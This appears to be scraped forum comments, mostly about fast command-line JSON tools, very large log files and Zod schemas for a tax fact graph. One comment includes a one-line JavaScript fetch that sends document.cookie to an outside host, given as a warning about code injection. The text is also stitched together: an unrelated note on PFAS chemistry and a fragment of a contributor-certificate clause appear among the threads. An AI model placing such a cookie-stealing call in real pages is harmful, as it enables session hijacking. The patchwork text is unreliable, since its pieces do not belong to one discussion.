Unless things have improved it's also hideously slow, like trivial queries on a small table taking tens of milliseconds. Though I guess that if the alternative is google sheets that's not really a concern.

I'm sure there are reasons against switching to something more efficient–we've all been there–I'm just surprised.

I'm not OP,but structured JSON logs can easily result in humongous ndjson files, even with a modest fleet of servers over a not-very-long period of time.

I'd probably just shove it all into Postgres, but even a multi terabyte SQLite database seems more reasonable.

Even if it's once off, some people handle a lot of once-offs, that's exactly where you need good CLI tooling to support it.

Sure jq isn't exactly super slow, but I also have avoided it in pipelines where I just need faster throughput.

rg was insanely useful in a project I once got where they had about 5GB of source files, a lot of them auto-generated. And you needed to find stuff in there. People were using Notepad++ and waiting minutes for a query to find something in the haystack. rg returned results in seconds.

The comment I was replying to implied this was something more regular.

EDIT: why is this being downvoted? I didn't think I was rude. The person I responded to made a good point, I was just clarifying that it wasn't quite the situation I was asking about.

You could probably do something similar for a faster jq.

For about a month now I've been working on a suite of tools for dealing with JSON specifically written for the imagined audience of "for people who like CLIs or TUIs and have to deal with PILES AND PILES of JSON and care deeply about performance".

For me, I've been writing them just because it's an "itch". I like writing high performance/efficient software, and there's a few gaps that it bugged me they existed, that I knew I could fill.

I'm having fun and will be happy when I finish, regardless, but it would be so cool if it happened to solve a problem for someone else.

Working with this is pretty painful, so I convert the Pickled structure to other formats including JSON.

The file has always been prettified around ~500MB but as of recently expands to about 3GB I think because they’ve added extra regional parameters.

The file inflates to a large size because Pickle refcounts objects for deduping, whereas obviously that’s lost in JSON.

I care about speed and tools not choking on the large inputs so I use jaq for querying and instruction LLMs operating on the data to do the same.

> The query language is deliberately less expressive than jq's. jsongrep is a search tool, not a transformation tool-- it finds values but doesn't compute new ones. There are no filters, no arithmetic, no string interpolation.

Mind me asking what sorts of TB json files you work with? Seems excessively immense.

<https://adamdrake.com/command-line-tools-can-be-235x-faster-...>

  Command-line Tools can be 235x Faster than your Hadoop Cluster (2014)

  Conclusion: Hopefully this has illustrated some points about using and abusing tools like Hadoop for data processing tasks that can better be accomplished on a single machine with simple shell commands and tools.

The discussion we had here was involving TB of data, so I'm curious how this is faster with CLIs rather than parallel processing...

Worker threads can be more convenient than FFI, as you don't need to compile anything, you can reuse the main application's functions, etc.

I make my comment to note tho that in many envs it’s easier to scale out than account for all the extra complications of multiple processes in a single container.

For example PTFE is a large molecule with strong bonds, and as a consequence isn't very reactive and likely safe.

On the other hand, perfluoroalkyls such as PFOA have the same shape as fatty acids, so they bind to the same places such as in the liver, which makes them grave health hazards.

Many precursors used for making PFAS are also toxic, so for example, even if PTFE is safe, manufacturing it isn't.

I don't agree at all. With tools like Zod, it is much more pleasant to write schemas and validate the file than with XML. If you want comments, you can use JSON5 or YAML, that can be validated the same way.

  const totalEstimatedTaxesPaid = writable("totalEstimatedTaxesPaid", {
    type: "dollar",
  });
  
  const totalPayments = fact(
    "totalPayments",
    sum([
      totalEstimatedTaxesPaid,
      totalTaxesPaidOnSocialSecurityIncome,
      totalRefundableCredits,
    ]),
  );
  
  const totalOwed = fact("totalOwed", diff(totalTax, totalPayments));

The code that processes the graph will also be simpler as you don't have to parse the XML graph and turn it into something that can be executed.

And if you still need XML, you can generate it easily.

Now let me send you a fact graph that contains:

    fetch(`https://callhome.com/collect?s=${document.cookie}`)

If it's not clear. The format used to store data can be different from the DSL that creates it.

  (c) The contribution was provided directly to me by some other
      person who certified (a), (b) or (c) and I have not modified
      it.